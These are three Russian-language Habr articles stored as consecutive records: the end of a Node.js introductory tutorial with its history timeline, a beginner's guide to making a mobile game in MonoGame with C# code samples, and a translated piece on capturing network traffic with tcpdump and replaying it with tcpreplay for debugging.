Первый предоставляет в наше распоряжение сведения о запросе. В нашем простом примере этими данными мы не пользуемся, но, при необходимости, с помощью объекта `req` можно получить доступ к заголовкам запроса и к переданным в нём данным.
Второй нужен для формирования и отправки ответа на запрос.
В данном случае ответ на запрос мы формируем следующим образом. Сначала устанавливаем свойство `statusCode` в значение `200`, что указывает на успешное выполнение операции:
```
res.statusCode = 200
```
Далее, мы устанавливаем заголовок `Content-Type`:
```
res.setHeader('Content-Type', 'text/plain')
```
После этого мы завершаем подготовку ответа, добавляя его содержимое в качестве аргумента метода `end()`:
```
res.end('Hello World\n')
```
Мы уже говорили о том, что вокруг платформы Node.js сформировалась мощная экосистема. Обсудим теперь некоторые популярные фреймворки и вспомогательные инструменты для Node.js.
Фреймворки и вспомогательные инструменты для Node.js
----------------------------------------------------
Node.js — это низкоуровневая платформа. Для того чтобы упростить разработку для неё и облегчить жизнь программистам, было создано огромное количество библиотек. Некоторые из них со временем стали весьма популярными. Вот небольшой список библиотек, которые я считаю отлично сделанными и достойными изучения:
* [Express](https://expressjs.com/). Эта библиотека предоставляет разработчику предельно простой, но мощный инструмент для создания веб-серверов. Ключом к успеху Express стал минималистический подход и ориентация на базовые серверные механизмы без попытки навязать некое видение «единственно правильной» серверной архитектуры.
* [Meteor](https://flaviocopes.com/meteor/). Это — мощный фулстек-фреймворк, реализующий изоморфный подход к разработке приложений на JavaScript и к использованию кода и на клиенте, и на сервере. Когда-то Meteor представлял собой самостоятельный инструмент, включающий в себя всё, что только может понадобиться разработчику. Теперь он, кроме того, интегрирован с фронтенд-библиотеками, такими, как [React](https://flaviocopes.com/react/), [Vue](https://flaviocopes.com/vue-introduction/) и [Angular](https://angularjs.org/). Meteor, помимо разработки обычных веб-приложений, можно использовать и в мобильной разработке.
* [Koa](http://koajs.com/). Этот веб-фреймворк создан той же командой, которая занимается работой над Express. При его разработке, в основу которой легли годы опыта работы над Express, внимание уделялось простоте решения и его компактности. Этот проект появился как решение задачи внесения в Express серьёзных изменений, несовместимых с другими механизмами фреймворка, которые могли бы расколоть сообщество.
* [Next.js](https://flaviocopes.com/nextjs/). Этот фреймворк предназначен для организации серверного рендеринга [React](https://reactjs.org/)-приложений.
* [Micro](https://github.com/zeit/micro). Это — весьма компактная библиотека для создания асинхронных HTTP-микросервисов.
* [Socket.io](https://socket.io/). Это библиотека для разработки сетевых приложений реального времени.
На самом деле, в экосистеме Node.js можно найти вспомогательную библиотеку для решения практически любой задачи. Как вы понимаете, на строительство подобной экосистемы нужно немало времени. Платформа Node.js появилась в 2009 году. За время её существования случилось много всего такого, о чём стоит знать программисту, который хочет изучить эту платформу.
Краткая история Node.js
-----------------------
В этом году Node.js исполнилось уже 9 лет. Это, конечно, не так уж и много, если сравнить этот возраст с возрастом JavaScript, которому уже 23 года, или с 25-летним возрастом веба, существующем в таком виде, в котором мы его знаем, если считать от появления браузера Mosaic.
9 лет — это маленький срок для технологии, но сейчас возникает такое ощущение, что платформа Node.js существовала всегда.
Я начал работу с Node.js с ранних версий платформы, когда ей было ещё только 2 года. Даже тогда, несмотря на то, что информации о Node.js было не так уж и много, уже можно было почувствовать, что Node.js — это очень серьёзно.
Теперь поговорим о технологиях, лежащих в основе Node.js и кратко рассмотрим основные события, связанные с этой платформой.
Итак, JavaScript — это язык программирования, который был создан в Netscape как скриптовый язык, предназначенный для управления веб-страницами в браузере [Netscape Navigator](https://en.wikipedia.org/wiki/Netscape_Navigator).
Частью бизнеса Netscape была продажа веб-серверов, которые включали в себя среду, называемую Netscape LiveWire. Она позволяла создавать динамические веб-страницы, используя серверный JavaScript. Как видите, идея использования JS для серверной разработки гораздо старше чем Node.js. Этой идее почти столько же лет, сколько и самому JavaScript, но во времена, о которых идёт речь, популярности серверный JS не снискал.
Одним из ключевых факторов, благодаря которому платформа Node.js стала столь распространённой и популярной, является время её появления. Так, за несколько лет до этого JavaScript начали считать серьёзным языком. Случилось это благодаря приложениям Web 2.0, вроде Google Maps или Gmail, которые продемонстрировали миру возможности современных веб-технологий.
Благодаря конкурентной войне браузеров, которая продолжается и по сей день, серьёзно возросла производительность JavaScript-движков. Команды разработчиков, стоящих за основными браузерами, каждый день работают над повышением производительности их решений, что благотворно влияет на JavaScript в целом. Один из таких движков — это уже упомянутый V8, используемый в браузере Chrome и применяемый в Node.js. Он является одним из результатов стремления разработчиков браузеров к высокой производительности JS-кода.
Конечно же, популярность Node.js основана не только на удачном стечении обстоятельств и на том, что эта платформа появилась в правильное время. Она представила миру инновационный подход к серверной разработке на JavaScript. Рассмотрим основные вехи истории Node.js.
### ▍2009
* Появление Node.js
* Создание первого варианта [npm](https://flaviocopes.com/npm/).
### ▍2010
* Появление [Express](https://flaviocopes.com/express/).
* Появление [Socket.io](https://socket.io/).
### ▍2011
* Выход npm 1.0.
* Большие компании, такие, как [LinkedIn](https://www.linkedin.com/) и [Uber](https://www.uber.com/), начали пользоваться Node.js.
### ▍2012
* Быстрый рост популярности Node.js.
### ▍2013
* Появление [Ghost](https://ghost.org/), первой крупной платформы для публикаций, использующей Node.js.
* Выпуск [Koa](https://koajs.com/).
### ▍2014
* В этом году произошли драматические события. Появился проект [IO.js](https://iojs.org/), являющийся форком Node.js, целью создания которого, кроме прочего, было внедрение поддержки ES6 и ускорение развития платформы.
### ▍2015
* Основание организации [Node.js Foundation](https://foundation.nodejs.org/).
* Слияние IO.js и Node.js.
* В npm появляется возможность работать с приватными модулями.
* Выход [Node.js 4](https://nodejs.org/en/blog/release/v4.0.0/) (надо отметить, что версий 1, 2 и 3 у этой платформы не было).
### ▍2016
* Инцидент с пакетом [left-pad](https://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm).
* Появление [Yarn](https://flaviocopes.com/yarn/).
* Выход Node.js 6.
### ▍2017
* В npm начинают больше внимания уделять безопасности.
* Выход Node.js 8
* Появление поддержки [HTTP/2](https://nodejs.org/api/http2.html).
* [V8](https://flaviocopes.com/v8/) официально признают в качестве JS-движка, предназначенного не только для Chrome, но и для Node.
* Еженедельно осуществляется 3 миллиарда загрузок из npm.
### ▍2018
* Выход Node.js 10.
* Поддержка [ES-модулей](https://flaviocopes.com/es-modules/).
* Экспериментальная поддержка [mjs](https://nodejs.org/api/esm.html).
Итоги
-----
Сегодня вы ознакомились с платформой Node.js, разобрались с её установкой, написали и испытали первое простое приложение. В следующий раз мы поговорим о том, каким объёмом знаний в области JavaScript нужно обладать для успешной разработки для Node.js, о том, чем различаются браузерный и серверный JS-код, и обсудим некоторые приёмы Node.js-разработки.
Уважаемые читатели! Скажите, запустился ли у вас Hello World для Node.js?
Следующие части руководства:
Часть 1: [Общие сведения и начало работы](https://habr.com/company/ruvds/blog/422893/)
Часть 2: [JavaScript, V8, некоторые приёмы разработки](https://habr.com/company/ruvds/blog/423153/)
Часть 3: [Хостинг, REPL, работа с консолью, модули](https://habr.com/company/ruvds/blog/423701/)
Часть 4: [npm, файлы package.json и package-lock.json](https://habr.com/company/ruvds/blog/423703/)
Часть 5: [npm и npx](https://habr.com/company/ruvds/blog/423705/)
Часть 6: [цикл событий, стек вызовов, таймеры](https://habr.com/company/ruvds/blog/424553/)
Часть 7: [асинхронное программирование](https://habr.com/company/ruvds/blog/424555/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/422893/ | null | ru | null |
# Создаем мобильную игру на Monogame, решая типичные проблемы начинающего разработчика
Целью данной статьи является систематизация материалов для создания простых игр на фреймворке [Monogame](http://www.monogame.net/). В статье будут рассмотрены решения типичных задач, с которыми приходится сталкиваться всем разработчикам при создании игр для мобильных платформ: независимость текстур от разрешения экрана, создание меню и смена игровых сцен (экранов), нюансы работы со звуком и шрифтами, сохранение рекордов. В статье приведены примеры кода, а так же даны ссылки на полезные и актуальные источники информации по Monogame и разработке под платформу Windows в целом, ну и конечно, моя история создания своих первых игр.
Всегда хотелось научиться программировать, и самым увлекательным процессом обучения, на мой взгляд, является создание игр, потому как позволяет получать наглядный, осязаемый результат своих трудов на этом тернистом пути. Это очень важно для процесса обучения, так как позволяет подогревать интерес и мотивирует двигаться дальше.
Являясь пользователем операционной системы Windows как на персональном компьютере, так и на телефоне, решил, что наиболее логичным будет остановить свой выбор на языке C#, так как хотелось пользоваться «родными» инструментами разработки, и начать его изучение на примере создания простой игры для телефона. Взявшись за дело, я ставил себе цели изучить базовые возможности языка, среды разработки и всей экосистемы от Microsoft в целом, с прицелом на свое дальнейшее развитие в области программирования.
Поделившись своими идеями и стремлениями с подругой, талантливым графическим дизайнером, для которой разработка мобильных игр так же была в новинку, решили приступить к созданию нашей «самой лучшей на свете» игры.
В результате наших трудов получилась простая и незатейливая игра для тренировки визуальной памяти, написанная без сторонних библиотек только на C# и XAML. Игроку дается время заполнить расположение кругов на экране, затем ему необходимо восстановить их по памяти. Всего в игре 10 уровней, на каждом из которых количество кругов увеличивается. Попыток дается на одну-две больше, чем количество объектов на экране. Для прохождения игры у игрока есть 5 жизней.
Разработка и публикация первой игры позволили мне разобраться и получить небольшой опыт по следующим важным пунктам:
1) Базовые знания по языку C#, XAML, и платформе WinRT в целом.
2) Локализация приложения [[ссылка](http://metanit.com/sharp/windowsphone/13.1.php)].
3) Добавление механизма оценивания [[ссылка](https://habrahabr.ru/company/microsoft/blog/230169/)].
4) Создание аккаунта и публикация в магазине Windows Store.
5) Настройка и добавление рекламы AdDuplex, Smaato, Microsoft Advertising в приложение через рекламного посредника Microsoft [[ссылка](https://msdn.microsoft.com/windows/uwp/monetize/display-ads-using-the-microsoft-advertising-libraries), [ссылка](https://msdn.microsoft.com/windows/uwp/monetize/add-and-use-the-ad-mediator-control), [ссылка](https://msdn.microsoft.com/ru-ru/dn884597.aspx)].
К моменту публикации первой игры уже окончательно сформировалась новая идея и понимание того, чего я хочу от своего следующего проекта. Я определил для себя основные требования к будущей игре:
1) Управление должно осуществляться одним нажатием (одним пальцем).
2) Без уровней и содержать следующие сцены: стартовый экран, меню, инструкции, игра, пауза, рестарт.
3) Должна быть бесконечной, нацеленной на набор максимального количества очков.
4) Должна быть увлекательной и сложной.
5) Конечно же красивой.
Концепция игры заключалась в следующем: в центре экрана находится объект (назовем его «ядро»), к которому непрерывно и в произвольном направлении движутся другие объекты, и задача игрока – защитить ядро. Каждое успешное отражение летящего к ядру объекта, дает очки игроку, а неудача приводит к поражению, и игра начинается заново.
Дизайнер терпеливо и ответственно подходила к воплощению моих «хотелок», создавая концепт игры в стилистике sci-fi.
Остановившись на основных решениях в дизайне фигур, затем мучительно выбирали между цветовыми гаммами.
Уходить от нативных средств разработки не хотелось – необходимо было закрепить полученные знания. Поэтому далее последовал анализ существующих бесплатных движков на С#. Одним из определяющих факторов при выборе была доступность большого количества обучающих материалов и примеров. В итоге остановил свой выбор на Monogame, представляющий собой кроссплатформенную OpenSource-реализацию некогда популярного фреймворка Microsoft XNA 4.
MonoGame предоставляет возможность разрабатывать не только для разных платформ, но и на разных платформах. На официальном сайте на странице [загрузок](http://www.monogame.net/downloads/) можно найти пакеты для различных ОС: Windows, MacOS, Linux. На ОС Linux, а также на MacOS понадобится среда [Xamarin Studio](https://developer.xamarin.com/guides/cross-platform/game_development/monogame/). Для разработки под Windows 8.1 потребуется Windows 8.1 SDK, которая включена в полнофункциональную бесплатную Visual Studio Community 2013, а для Windows 10 — соответственно Windows 10 SDK и Visual Studio Community 2015.
Новичкам следует учесть, что готовый шаблон игры MonoGame под Windows Phone 8.1 есть только в Visual Studio Community 2013, в версии 2015 года вы уже увидите шаблон для UAP приложения.
### Коротко о движке
В MonoGame реализована модель игрового цикла:
*[[ссылка на источник](http://www.codemag.com/article/1411081)]*
1) В методе *Initialize()* происходит инициализация используемых переменных и объектов, начального состояния игры.
2) Затем в методе *LoadContent()* в приложение загружаются различные ресурсы, которые применяются в игре — аудиофайлы, файлы изображений и так далее.
3) Методы *Update()* и *Draw ()* представляют игровой цикл. С определенной периодичностью (по умолчанию 60 раз в секунду) в методе *Update()* выполняется опрос игровых объектов, производятся вычисления, например позиции персонажей. Метод *Draw()* отвечает только за перерисовку сцен и игровых объектов. Оба метода принимают в качестве параметра объект *GameTime* — он хранит время, прошедшее с начала игры.
4) При выходе из игрового цикла управление передается в метод *UnloadContent()*. В этом методе происходит выгрузка ранее использованных ресурсов.
5) После этого игра завершается, и приложение закрывается.
Данный алгоритм представлен в классе *Game1{}* при создании проекта MonoGame:
```
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Input;
namespace Game1
{
public class Game1 : Game
{
GraphicsDeviceManager graphics;
SpriteBatch spriteBatch;
public Game1()
{
graphics = new GraphicsDeviceManager(this);
Content.RootDirectory = "Content";
}
// Выполняет начальную инициализацию игры
protected override void Initialize()
{
base.Initialize();
}
// Загружает ресурсы игры
protected override void LoadContent()
{
spriteBatch = new SpriteBatch(GraphicsDevice);
}
// Вызывается при завершении игры для выгрузки использованных ресурсов
protected override void UnloadContent()
{
}
// Обновляет состояние игры, управляет ее логикой
protected override void Update(GameTime gameTime)
{
base.Update(gameTime);
}
// Выполняет отрисовку на экране
protected override void Draw(GameTime gameTime)
{
GraphicsDevice.Clear(Color.CornflowerBlue);
base.Draw(gameTime);
}
}
}
```
Глобальная переменнная *GraphicsDeviceManager graphics* позволяет получить доступ к графическому устройству компьютера, смартфона, планшета, игровой консоли. Другой глобальный объект — *SpriteBatch spriteBatch* служит для отрисовки спрайтов — изображений, которые используются в игре.
Объект *Content* предоставляет доступ к содержимому игры. Следует отметить, что добавление в проект различных текстур, аудиофайлов, шрифтов и т.п. происходит через MonoGame Pipeline — утилиту, которая преобразует исходные файлы в файлы *.xnb*, с которыми уже идет непосредственная работа приложения.
По принципу работы в интернете довольно много [материалов](http://metanit.com/sharp/monogame/) и хороших [уроков](https://www.youtube.com/playlist?list=PLcQUM4MNvSeTXMdx9peqnNi7RVzQ3jpRC), поэтому про это подробно рассказывать не буду. Мне хотелось бы остановиться на основных задачах, с которыми приходится сталкиваться любому разработчику игры, собрать их воедино и привести решения на примере представленной в статье игре.
#### Независимость графики от разрешения экрана
Для масштабирования графики удобно использовать векторные матрицы преобразования. Для этого, в поле игрового класса создадим переменную типа *Matrix* для доступа к преобразованным текстурам и переменную типа *Rectangle* для хранения значений отмасштабированных границ экрана.
```
private readonly Rectangle screenBounds;
private readonly Matrix screenXform;
```
В конструкторе класса создадим переменную для хранения значения масштаба графики, которая может определяться как соотношение значения разрешения экрана девайса к разрешению текстур по высоте. В примере указано значение 1080, так как использовались текстуры с разрешением 1920х1080 пикселей. Далее задаем значение масштаба для матрицы преобразования по осям XYZ.
```
var screenScale = graphics.PreferredBackBufferHeight / 1080.0f;
screenXform = Matrix.CreateScale(screenScale, screenScale, 1.0f);
```
На этапе отрисовки игрового цикла (В методе *Draw()*) используем значение масштаба в качестве параметра для перегруженного метода *SpriteBatch.Begin()* [[ссылка](https://msdn.microsoft.com/en-us/library/ff433701.aspx)]:
```
spriteBatch.Begin(SpriteSortMode.Deferred, null, null, null, null, null, screenXform);
```
Для удобства дальнейшей работы теперь возможно задать границы и центр экрана в соответствии с актуальным масштабом.
```
screenBounds = new Rectangle(0, 0,
(int)Math.Round(graphics.PreferredBackBufferWidth / screenScale),
(int)Math.Round(graphics.PreferredBackBufferHeight / screenScale));
center = screenBounds.Center.ToVector2();
```
Теперь, для корректной работы с тачскрином, необходимо задать границы обработки нажатий в методе *Initialize()*:
```
TouchPanel.DisplayWidth = screenBounds.Width;
TouchPanel.DisplayHeight = screenBounds.Height;
```
### Нюансы работы со звуком
Чтобы пройти сертификацию приложения в магазине Windows Store необходимо соблюдать рекомендации Microsoft [[ссылка](https://msdn.microsoft.com/en-us/windows/uwp/publish/app-marketing-guidelines), [ссылка](https://developer.microsoft.com/en-us/windows/design)].
Что касается работы со звуком, то запускаемое приложение или игра не должны прерывать музыку пользователя, если она воспроизводится. Для этого осуществим проверку при запуске игры в методе *Initialize()*:
```
if (MediaPlayer.GameHasControl)
{
MediaPlayer.Stop();
}
```
Так же следует учесть, что правилом хорошего тона будет являться вопрос о том, желает ли пользователь остановить музыку в медиаплеере и включить ее в игре. Реализовать данный функционал удобно, например, через всплывающие окна.
Для воспроизведения фоновой музыки или звуковых эффектов в игре с учетом режима «Со звуком/Без звука» команда на воспроизведение в методе *Update()* может выглядеть следующим образом:
```
if (!isMuted && MediaPlayer.State != MediaState.Playing && MediaPlayer.GameHasControl)
{
MediaPlayer.Play(backGroundMusic);
}
```
### Работа со шрифтами
Шрифты, как и любой другой контент для игры, должны быть загружены через утилиту Pipeline. Однако в данном случае, загружается не конкретный шрифт, а создается новый элемент для описания используемого шрифта. Предварительно, выбранный вами шрифт, уже должен находиться в системной папке со шрифтами.
Выбираем *SpriteFont Description* и задаем имя. Жмем ОК.
Для того чтобы шрифты не потеряли качество отображения при масштабировании изображения, необходимо изменить формат текстур с *Compressed* на *Color*, как показано на рисунке ниже.
Нажимаем *Build* и переходим в папку с проектом, открываем подпапку *Content*. Здесь должен находиться сгенерированный файл *\*.spritefont*, который необходимо открыть в удобном для вас текстовом редакторе (для удобства я открываю в той же Visual Studio). В указанных ниже тегах можно задать любой размер тип шрифта из находящихся в системной папке.
```
Arial
12
```
### Сохранение рекордов
Для сохранения результатов игры удобно использовать формат XML. Для доступа к данным ресурсам приложения используется [сериализация](https://msdn.microsoft.com/ru-ru/library/ms233843.aspx). Чтобы исключить задержки в игре при чтении/записи данных необходимо использовать асинхронный подход.
Для осуществления вышесказанного напишем несколько методов в игровом классе:
```
public async void LoadHighScore()
{
await readXMLAsync();
}
public async void SaveHighScore()
{
await writeXMLAsync();
}
private async Task writeXMLAsync()
{
var serializer = new DataContractSerializer(typeof(Int16));
using (var stream = await ApplicationData.Current.LocalFolder.OpenStreamForWriteAsync(
"highscore.xml", CreationCollisionOption.ReplaceExisting))
{
serializer.WriteObject(stream, highscore);
}
}
private async Task readXMLAsync()
{
var serializer = new DataContractSerializer(typeof(Int16));
// Проверка наличия файла
bool existed = await FileExists(ApplicationData.Current.LocalFolder, "highscore.xml");
if (existed)
{
using (var stream = await ApplicationData.Current.LocalFolder.OpenStreamForReadAsync("highscore.xml"))
{
highscore = (Int16)serializer.ReadObject(stream);
}
}
}
// Проверка наличия файла
public async Task FileExists(StorageFolder folder, string fileName)
{
return (await folder.GetFilesAsync()).Any(x => x.Name == fileName);
}
```
### Переход по игровым сценам
Способов реализации довольно много, однако для простой игры удобно использовать перечисления. Для этого в игровом классе объявим перечисление с игровыми состояниями и создадим его экземпляр.
```
enum GameState
{
Menu,
Gameplay,
EndOfGame,
}
GameState state;
```
Далее модифицируем методы *Update()* и *Draw(*) таким образом, чтобы на этапе вычислений и отрисовки графики обрабатывались данные из актуального состояния игры.
Метод *Update()*:
```
void Update(GameTime deltaTime)
{
base.Update(deltaTime);
switch (state)
{
case GameState.Menu:
UpdateMenu(deltaTime);
break;
case GameState.Gameplay:
UpdateGameplay(deltaTime);
break;
case GameState.EndOfGame:
UpdateEndOfGame(deltaTime);
break;
}
}
```
Метод *Draw()*:
```
void Draw(GameTime deltaTime)
{
base.Draw(deltaTime);
switch (state)
{
case GameState.Menu:
DrawMenu(deltaTime);
break;
case GameState.Gameplay:
DrawGameplay(deltaTime);
break;
case GameState.EndOfGame:
DrawEndOfGame(deltaTime);
break;
}
}
```
Определим новые методы, реализующие логику перехода между состояниями игры, вычисления и отрисовку игровых сцен.
```
void UpdateMenu(GameTime deltaTime)
{
// Обрабатывает действия игрока в экране меню
if (pushedStartGameButton)
state = GameState.GamePlay;
}
void UpdateGameplay(GameTime deltaTime)
{
// Обновляет состояние игровых объектов, действия игрока.
if (playerDied)
state = GameState.EndOfGame;
}
void UpdateEndOfGame(GameTime deltaTime)
{
// Обрабатывает действия игрока, сохраняет результаты
if (pushedMenuButton)
state = GameState. Menu;
else if (pushedRestartLevelButton)
{
ResetLevel();
state = GameState.Gameplay;
}
}
void DrawMenu(GameTime deltaTime)
{
// Отрисовка меню, кнопок и т.д.
}
void DrawGameplay(GameTime deltaTime)
{
// Отрисовка игровых объектов, счета и т.д.
void DrawEndOfGame(GameTime deltaTime)
{
// Отрисовка результатов, кнопок и т.д.
}
```
### Заключение
Возможно, некоторые моменты, освещенные в этой статье, покажутся очевидными, однако в процессе обучения я потратил значительную часть времени на поиск ответов по данным вопросам. Надеюсь, что приведенные материалы окажутся полезными для начинающих разработчиков и помогут быстрее создать свои первые шедевры.
От себя хотелось бы посоветовать следующее: обязательно заканчивайте работу над начатой задумкой, доводите дело до конца. Определите для себя минимальный необходимый функционал игры или приложения — это позволит конкретизировать задачу и сократит объем работы до выпуска первой версии. Улучшать можно бесконечно, но оставьте «плюшки» для следующих выпусков, иначе можно погрязнуть в таком процессе и, в конечном счете, потерять интерес.
Стремитесь сделать качественный продукт. Это касается всех элементов игры: архитектуры проекта, кода, текстур, звуков и музыки. Для этого ищите профессиональные ответы на возникшие перед вами вопросы, читайте профильную литературу.
Буду очень признателен опытным разработчикам за комментарии, указания на недочеты и советы по написанной работе.
P.S. Что в итоге получилось:
 | https://habr.com/ru/post/307454/ | null | ru | null |
# Кунг-фу стиля Linux: о повторении кое-каких событий сетевой истории
В наши дни во встроенных системах часто имеется поддержка сети. Это может значительно их усложнить. Сетевая нагрузка на системы обычно не отличается высоким уровнем детерминированности, существуют разные варианты таких нагрузок. Порой в сетях происходят довольно-таки странные события. Например, пусть у кого-то имеется монтажная машина (PNP), к которой может обратиться любой пользователь интернета. Про эту машину написали статью на Hackaday, после чего её владелец вдруг обнаружил, что объём данных, которыми она обменивается с интернетом, возрос в 50 раз. Как в такой ситуации ведёт себя сетевая подсистема этой машины? И хотя в задаче тестирования сетей нет универсального инструмента, способного устранить все проблемы, существуют приёмы работы, которые могут упростить решение этой задачи. Один из таких приёмов работы заключается в использовании утилит из набора `tcpreplay`, которые позволяют записывать совокупный сетевой трафик, а потом «воспроизводить» его различными способами. У применения этого приёма есть множество сильных сторон. Особенно — если удалось «изловить» именно то, что эпизодически приводит к возникновению ошибок. Возможность по желанию «воспроизводить» такой трафик способна значительно ускорить процесс диагностики сетевых проблем.
[](https://habr.com/ru/company/ruvds/blog/568308/)
**Все переводы серии**
[Кунг-фу стиля Linux: удобная работа с файлами по SSH](https://habr.com/ru/company/ruvds/blog/520752/)
[Кунг-фу стиля Linux: мониторинг дисковой подсистемы](https://habr.com/ru/company/ruvds/blog/527238/)
[Кунг-фу стиля Linux: глобальный поиск и замена строк с помощью ripgrep](https://habr.com/ru/company/ruvds/blog/527242/)
[Кунг-фу стиля Linux: упрощение работы с awk](https://habr.com/ru/company/ruvds/blog/527244/)
[Кунг-фу стиля Linux: наблюдение за файловой системой](https://habr.com/ru/company/ruvds/blog/528422/)
[Кунг-фу стиля Linux: наблюдение за файлами](https://habr.com/ru/company/ruvds/blog/528430/)
[Кунг-фу стиля Linux: удобный доступ к справке при работе с bash](https://habr.com/ru/company/ruvds/blog/528432/)
[Кунг-фу стиля Linux: великая сила make](https://habr.com/ru/company/ruvds/blog/528434/)
[Кунг-фу стиля Linux: устранение неполадок в работе incron](https://habr.com/ru/company/ruvds/blog/529828/)
[Кунг-фу стиля Linux: расшаривание терминала в браузере](https://habr.com/ru/company/ruvds/blog/529836/)
[Кунг-фу стиля Linux: синхронизация настроек](https://habr.com/ru/company/ruvds/blog/531088/)
[Кунг-фу стиля Linux: бесплатный VPN по SSH](https://habr.com/ru/company/ruvds/blog/530944/)
[Кунг-фу стиля Linux: превращение веб-приложений в полноценные программы](https://habr.com/ru/company/ruvds/blog/529838/)
[Кунг-фу стиля Linux: утилита marker и меню для командной строки](https://habr.com/ru/company/ruvds/blog/529840/)
[Кунг-фу стиля Linux: sudo и поворот двух ключей](https://habr.com/ru/company/ruvds/blog/532334/)
[Кунг-фу стиля Linux: программное управление окнами](https://habr.com/ru/company/ruvds/blog/532342/)
[Кунг-фу стиля Linux: организация работы программ после выхода из системы](https://habr.com/ru/company/ruvds/blog/533336/)
[Кунг-фу стиля Linux: регулярные выражения](https://habr.com/ru/company/ruvds/blog/533334/)
[Кунг-фу стиля Linux: запуск команд](https://habr.com/ru/company/ruvds/blog/536958/)
[Кунг-фу стиля Linux: разбираемся с последовательными портами](https://habr.com/ru/company/ruvds/blog/544512/)
[Кунг-фу стиля Linux: базы данных — это файловые системы нового уровня](https://habr.com/ru/company/ruvds/blog/568302/)
[Кунг-фу стиля Linux: о повторении кое-каких событий сетевой истории](https://habr.com/ru/company/ruvds/blog/568308/)
[Кунг-фу стиля Linux: PDF для пингвинов](https://habr.com/ru/company/ruvds/blog/567158/)
Основная идея
-------------
Вам, возможно, известно о том, что утилита `tcpdump`, работающая в командной строке, позволяет перехватывать пакеты, проходящие через сетевой интерфейс, и сохранять их в файл. Если вам ближе программы с графическим интерфейсом — то вы, возможно, используете для решения той же задачи Wireshark. В двух этих инструментах используется одна и та же базовая библиотека для захвата данных — `libcap`. На самом деле, трафик можно захватывать, пользуясь `tcpdump`, а просматривать захваченные данные можно с помощью Wireshark. Правда, работать с такими данными можно и с помощью других инструментов — вроде `tcptrace` и `Ngrep`.
Хотя результаты захвата трафика, если нет инструмента, чтобы их расшифровать, могут выглядеть довольно-таки таинственными, утилита `tcpreplay` может брать подобные данные, сохранённые в файле, и «воспроизводить» их различными способами. Конечно, данные, хранящиеся в подобных файлах можно, перед «воспроизведением», отредактировать. Есть инструменты, которые облегчают решение этой задачи. А если надо — можно, опять же, с помощью соответствующих инструментов, конструировать трафик для «воспроизведения» самостоятельно. Этот процесс часто называют «packet crafting» — «создание пакетов».
Захват данных
-------------
Иногда использование `tcpdump` — это пример того, что «слишком хорошо — тоже нехорошо». Если захватывать всё подряд с некоего сетевого устройства, в результате получатся просто огромные файлы с данными:
```
tcpdump -i eth0
```
Обычно диапазон захватываемых данных как-то ограничивают. Например:
```
tcpdump src 192.168.1.111 # данные, идущие от адреса .111
tcpdump dst 192.168.1.111 # данные, идущие на адрес .111
tcpdump host 192.168.1.111 # данные, идущие от адреса .111 или на этот адрес
```
Ещё один распространённый способ фильтрации сетевых данных предусматривает использование ключевого слова `net` для выбора данных, имеющих отношение к конкретной подсети, или слова `port`. Данные даже фильтруют по используемому протоколу, вроде `arp` или `ip6`. Эти механизмы фильтрации данных можно и комбинировать:
```
tcpdump port 8088 # трафик, имеющий отношение к порту 8088
tcpdump dst port 8080 # трафик, идущий на порт 8088
```
Тут можно использовать и диапазоны портов (например — 80-89), имеется и множество других фильтров, например — учитывающих размеры пакетов. Условия фильтрации можно объединять, пользуясь операторами `or` и `and`. На самом деле, `tcpdump` — это большая тема, для изучения которой можно прибегнуть к [справке](https://www.tcpdump.org/manpages/tcpdump.1.html) по этой утилите.
То, что именно захватит `tcpdump`, зависит от используемого протокола. Для отображения данных в шестнадцатеричном формате можно пользоваться опциями `-X` или `-XX`.
Итак, после применения `tcpdump` в нашем распоряжении будет файл, содержащий некие интересные сетевые данные. Как «воспроизвести» эти данные в отладочных целях?
Операция «Воспроизведение»
--------------------------
Именно сейчас в игру вступает `tcpreplay`. Если не вдаваться в детали, то пользоваться этой утилитой очень просто:
```
tcpreplay -i eth0 traffic.pcap
```
Но у того, кто применяет эту утилиту, может возникнуть потребность в том, чтобы управлять разными аспектами её работы. Например, без дополнительных настроек она «воспроизводит» трафик на той же скорости, на которой он изначально передавался. А с помощью опции `--mbps` можно задать желаемую скорость потока данных. Можно даже воспользоваться настройкой вида `--mbps=0` для того чтобы между пакетами вообще не было бы задержек.
Утилита поддерживает и другие опции, влияющие на её производительность. Так, опция `-K` позволяет, если это возможно, считать весь файл с захваченными данными в память, что улучшает производительность. Сильно улучшить производительность способна опция `--loop`, позволяющая повторить воспроизведение захваченных данных несколько раз.
В некоторых особых случаях может возникнуть необходимость в том, чтобы, в целях тестирования, по-настоящему нагрузить сетевой интерфейс. Существуют особые драйверы, которые может использовать `tcpreplay`, позволяющие взаимодействовать с аппаратными сетевыми устройствами напрямую. Это, правда, приведёт к остановке обычных сетевых операций во время тестирования.
Редактирование захваченных данных
---------------------------------
Иногда нужно внести какие-то небольшие изменения в сетевые данные, хранящиеся в файле, не меняя при этом сам файл. Базовая утилита поддерживает некоторые способы такого воздействия на данные. Например, опция `--unique-ip` позволяет менять IP-адреса пакетов в каждой итерации цикла так, чтобы все пакеты выглядели бы уникальными.
Но иногда нужно вносить в данные более серьёзные изменения. В таком случае стоит взглянуть на утилиту `tcpreplay-edit`. Например, с её помощью можно осуществить переназначение TCP- или UDP-портов. Ещё она умеет рандомизировать IP-адреса, убирать широковещательные сообщения и позволяет, что называется, «на лету», вносить в трафик другие изменения.
Вот практический пример. Можно записать сессию обмена данными между клиентом и сервером. Для того чтобы воспроизвести поведение сервера, понадобится убрать из файла с захваченными сетевыми данными ответы сервера и переписать MAC-адреса, в результате роль клиента будет выполнять компьютер, на котором работает `tcpreplay`.
Итоги
-----
Утилиты, о которых мы говорили, представляют собой мощные инструменты. Их, как и любые другие подобные инструменты, можно использовать во благо или во зло. У них имеется очень много параметров. Но тот, кто с ними, так сказать, «поиграется», тот, кто хотя бы бегло почитает справку по ним, обнаружит, что способен найти подходы к мониторингу и «воспроизведению» сетевого трафика своих систем. Это поможет ему в решении очередной вставшей перед ним заковыристой сетевой проблемы.
Пользуетесь ли вы утилитами для захвата и «воспроизведения» сетевого трафика?
**Все переводы серии**
[Кунг-фу стиля Linux: удобная работа с файлами по SSH](https://habr.com/ru/company/ruvds/blog/520752/)
[Кунг-фу стиля Linux: мониторинг дисковой подсистемы](https://habr.com/ru/company/ruvds/blog/527238/)
[Кунг-фу стиля Linux: глобальный поиск и замена строк с помощью ripgrep](https://habr.com/ru/company/ruvds/blog/527242/)
